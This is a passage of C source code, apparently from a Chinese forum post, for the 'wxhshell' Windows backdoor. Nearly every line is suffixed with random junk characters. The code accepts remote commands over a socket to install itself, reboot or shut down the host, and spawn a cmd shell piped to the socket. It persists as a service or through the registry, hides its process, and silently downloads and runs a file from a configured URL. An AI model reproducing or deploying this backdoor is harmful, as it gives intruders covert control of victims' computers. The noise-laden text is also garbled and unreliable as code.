  // 安装 Nl~Z,hT$*  
  case 'i': { U/.w;DI   
    if(Install()) !: m`9o8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :0M' =~[  
    else Ff[H>Lp~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u{g]gA8s  
    break; :FoO Q[Q  
    } <WM -@J(1  
  // 卸载 x9xzm5  
  case 'r': { DgDSVFk ~  
    if(Uninstall()) 2-8YSHlh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .HyjL5r-  
    else }Q`/K;yq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ..??O^   
    break; @ \!KF*v  
    } ^D9 /  
  // 显示 wxhshell 所在路径 ?D1x;i9<  
  case 'p': { rU; g0'4e  
    char svExeFile[MAX_PATH]; SW3wMPy&s  
    strcpy(svExeFile,"\n\r"); fkW3~b  
      strcat(svExeFile,ExeFile); ^Lsc`<xC  
        send(wsh,svExeFile,strlen(svExeFile),0); (YAI,Xnw  
    break; D4AEZgC F,  
    } hA@zoIoe  
  // 重启 ])N|[|$  
  case 'b': { sk#9x`Rw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jz %;4e~t  
    if(Boot(REBOOT)) p9/bzT34.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BD hLz  
    else { !$D&6M|C8l  
    closesocket(wsh); w|&,I4["  
    ExitThread(0); :0B |<~lX  
    } J=@hk@Nq#  
    break; 1T!cc%ah  
    } Lqg] Fd  
  // 关机 U!x0,sr  
  case 'd': { 63.( j P1;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gB>(xY>LrA  
    if(Boot(SHUTDOWN)) XQK^$Iq]V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T48BRVX-F  
    else { u06tDJ[  
    closesocket(wsh); e%pu.q\gK  
    ExitThread(0); %'$f ?y  
    } IZ+ *`E  
    break; d "2wO[  
    } lrCm9Oy  
  // 获取shell (gLea  
  case 's': { XxhsPFv  
    CmdShell(wsh); YQN.Ohtv*F  
    closesocket(wsh); Z#CxQ D%\  
    ExitThread(0); 3b#L17D3_  
    break; j0AwL7  
  } }|AX_=a  
  // 退出 L?C\Q^0"`G  
  case 'x': { !syU]Yk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a/#+92C  
    CloseIt(wsh); NK8<= n%"  
    break; {!lNL[x  
    } P_Z M'[  
  // 离开 P2O\!'aEh  
  case 'q': { uG4$2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O97VdNT8  
    closesocket(wsh); bk.*k~_  
    WSACleanup(); w_\nB}_  
    exit(1); c2/"KT  
    break; j]AekI4I  
        } ? 'Cb-C_  
  } hMv2"V-X  
  } Ocybc%  
V>6QPA^  
  // 提示信息 B<Ol+)@,}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qr<AV:  
} ^,Lt Ewd~Y  
  } I<sfN'FpT  
TFo}\B7  
  return; )GK+  
} !-7_ +v>  
\]t]#D>0  
// shell模块句柄 5~QhX22  
int CmdShell(SOCKET sock) tbg*_ZQO u  
{ 3eWJt\}?B  
STARTUPINFO si; 2H6:np |O  
ZeroMemory(&si,sizeof(si)); \/n+j!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7vw;Egd@@-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~)_K"h.DY  
PROCESS_INFORMATION ProcessInfo; 2.ew^D#  
char cmdline[]="cmd"; ^1R"7h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vu=] O/ =P  
  return 0; aFyh,  
} ,}KwP*:Z  
-U7,k\g  
// 自身启动模式 k; ;viT  
int StartFromService(void) fSbS(a  
{ '(tj[&aL  
typedef struct @`6}`k  
{ X6'H`E[  
  DWORD ExitStatus; jKS!'?  
  DWORD PebBaseAddress; QPX`l0V  
  DWORD AffinityMask; Z4#v~!  
  DWORD BasePriority; oooS s&t  
  ULONG UniqueProcessId; },&h[\N{6  
  ULONG InheritedFromUniqueProcessId; 9976H\{  
}   PROCESS_BASIC_INFORMATION; .8K6C]gw  
#,TELzUVE  
PROCNTQSIP NtQueryInformationProcess; F.68iN}  
ZvH?3Jy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^,`M0g\$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S#mK Pi+3  
f\ 'T_  
  HANDLE             hProcess; S"Kq^DN  
  PROCESS_BASIC_INFORMATION pbi; f9a$$nb3`  
>otJF3zw   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?.Q3 pUT  
  if(NULL == hInst ) return 0; )(lJT&e  
<1K7@Tu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Je 31".  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d+0^u(gc!8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nZxSMN0]  
&8n?  
  if (!NtQueryInformationProcess) return 0; ?~Pv3'%d  
Y([d;_#P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =HS4I.@c_5  
  if(!hProcess) return 0; [ZD[a6(94  
hXc}r6<B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AX;c}0g  
'$?du~L-  
  CloseHandle(hProcess); 'AWp6L@  
F5U|9<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sBU_Ft  
if(hProcess==NULL) return 0; N}DL(-SQ3  
' Rc#^U*n  
HMODULE hMod; Z%OW5]q  
char procName[255]; b)`pZiQP  
unsigned long cbNeeded; >Mw'eQ0(y  
}vY.EEy!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t!:)L+$3  
o0l7 4  
  CloseHandle(hProcess); o<rsAe  
W~yLl%  
if(strstr(procName,"services")) return 1; // 以服务启动 s&VOwU  
D"!jbVz]*  
  return 0; // 注册表启动 l|q%%W0  
} 7h`^N5H.q  
H99xZxHZ{  
// 主模块 nA+F  
int StartWxhshell(LPSTR lpCmdLine) F,&)X>:l  
{ eF5;[v  
  SOCKET wsl; ^BiP LQ  
BOOL val=TRUE; n]iyFZ`9  
  int port=0; %J!NL0x_  
  struct sockaddr_in door; +{e`]t>_  
R5ZIC4p  
  if(wscfg.ws_autoins) Install(); -=mwy  
VE$t%QT  
port=atoi(lpCmdLine); 6@YH#{~Zpv  
zSXA=   
if(port<=0) port=wscfg.ws_port; Ha)np  
=k_UjwgN^  
  WSADATA data; r^5jh1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \<V)-eB   
En\Z#0,V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8k H<$9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3+V#[JBJv  
  door.sin_family = AF_INET; `[Sl1saZ$S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $@.jZ_G  
  door.sin_port = htons(port); i ?-Y  
=?/&u<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r]T0+oQ>  
closesocket(wsl); T,OS0;7O  
return 1; !^?qU;|  
} RG1\=J$:E  
X!c?CL  
  if(listen(wsl,2) == INVALID_SOCKET) { w.^yP7:  
closesocket(wsl); +?AW>&68y  
return 1; ``4?a7!!  
} 4.w"(v9V  
  Wxhshell(wsl); MUwxgAG`G  
  WSACleanup(); J|5Ay1eF-  
dB7ZT0L\  
return 0; F 7LiG9H6`  
I_>`hTiR  
} v2>Z^  
#&BS ?@  
// 以NT服务方式启动 niz'b]] +  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wE6A 7\k%  
{ 328L)BmW  
DWORD   status = 0; V|: qow:F  
  DWORD   specificError = 0xfffffff; Z&Pu8zG /m  
lDN?|YG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q3+8]-9|5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D/:3R ZF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %b?uW] j:  
  serviceStatus.dwWin32ExitCode     = 0; P=gJAE5  
  serviceStatus.dwServiceSpecificExitCode = 0; !y[3]8Xxv  
  serviceStatus.dwCheckPoint       = 0; u"Y]P*[k  
  serviceStatus.dwWaitHint       = 0; 0OWL  
Hi8Y6|y$D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vyU!+mlc  
  if (hServiceStatusHandle==0) return; W.[BPR  
ArXl=s';s4  
status = GetLastError(); ti2  
  if (status!=NO_ERROR) V.VJcx  
{ !*vBW/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A ~&+F>Z  
    serviceStatus.dwCheckPoint       = 0; X"<|Z]w  
    serviceStatus.dwWaitHint       = 0; @GeHWv  
    serviceStatus.dwWin32ExitCode     = status; :1_mfX  
    serviceStatus.dwServiceSpecificExitCode = specificError; +t"j-}xzE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >];"N{ A  
    return; R=$Ls6z  
  } Qxq-Mpx{  
h<NRE0-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <\aU"_D   
  serviceStatus.dwCheckPoint       = 0; ;?~ 9hN!  
  serviceStatus.dwWaitHint       = 0; '[ 0YIn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pa&4)OD  
} u)~s4tP4  
9rcI+q=E  
// 处理NT服务事件,比如:启动、停止 Y[G9Vok VX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6fGK (r  
{ .NnGVxc5*  
switch(fdwControl) 1;&T^Gdj  
{ tX?J@+  
case SERVICE_CONTROL_STOP: D=&K&6rr  
  serviceStatus.dwWin32ExitCode = 0; ?,XC =}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9@y3IiZ"}  
  serviceStatus.dwCheckPoint   = 0; 6+PGwCS  
  serviceStatus.dwWaitHint     = 0; (h,Ws-O  
  { <L&eh&4c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F,pCR7o>  
  } ; k}H(QI  
  return; ~L'nz quF  
case SERVICE_CONTROL_PAUSE: (("OYj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z_l. V/G)  
  break; d)KF3oA  
case SERVICE_CONTROL_CONTINUE: KlO(o#&N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e{!vNJ0`  
  break; VMHC/jlX@r  
case SERVICE_CONTROL_INTERROGATE:  Zi4d]  
  break; l &Z(K,6  
}; C*rd;+1A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c#pj:f*H  
} (.Xr#;\(  
t)r1"oA  
// 标准应用程序主函数 D^$OCj\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -9-fX(I  
{ 'C~9]Y].  
j)L1H* S%  
// 获取操作系统版本 /s`;9)G]9  
OsIsNt=GetOsVer(); %g w{[ /[A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g^j7@dum  
}4h0bI  
  // 从命令行安装 ym%o}( v-  
  if(strpbrk(lpCmdLine,"iI")) Install(); d~`-AC+  
W4vBf^eC  
  // 下载执行文件 RIjM(P  
if(wscfg.ws_downexe) { D]u=PqHk2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *P xf#X  
  WinExec(wscfg.ws_filenam,SW_HIDE); #T"64%dX  
} QJSr:dP4dG  
(\vXA4Oa,  
if(!OsIsNt) { . r `[  
// 如果时win9x,隐藏进程并且设置为注册表启动 c<tmj{$  
HideProc(); J"&y |; G  
StartWxhshell(lpCmdLine); q"nGy#UWR  
} zs8I  
else v<&v]!nF  
  if(StartFromService()) sykFSPy`'  
  // 以服务方式启动 @vAFfYU9<.  
  StartServiceCtrlDispatcher(DispatchTable); bn-=fb(  
else sTOFw;v%  
  // 普通方式启动 hdj%|~Fj  
  StartWxhshell(lpCmdLine); MaErx\  
TzrW   
return 0; &+- e  
}
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只看该作者 1 发表于: 2006-10-10
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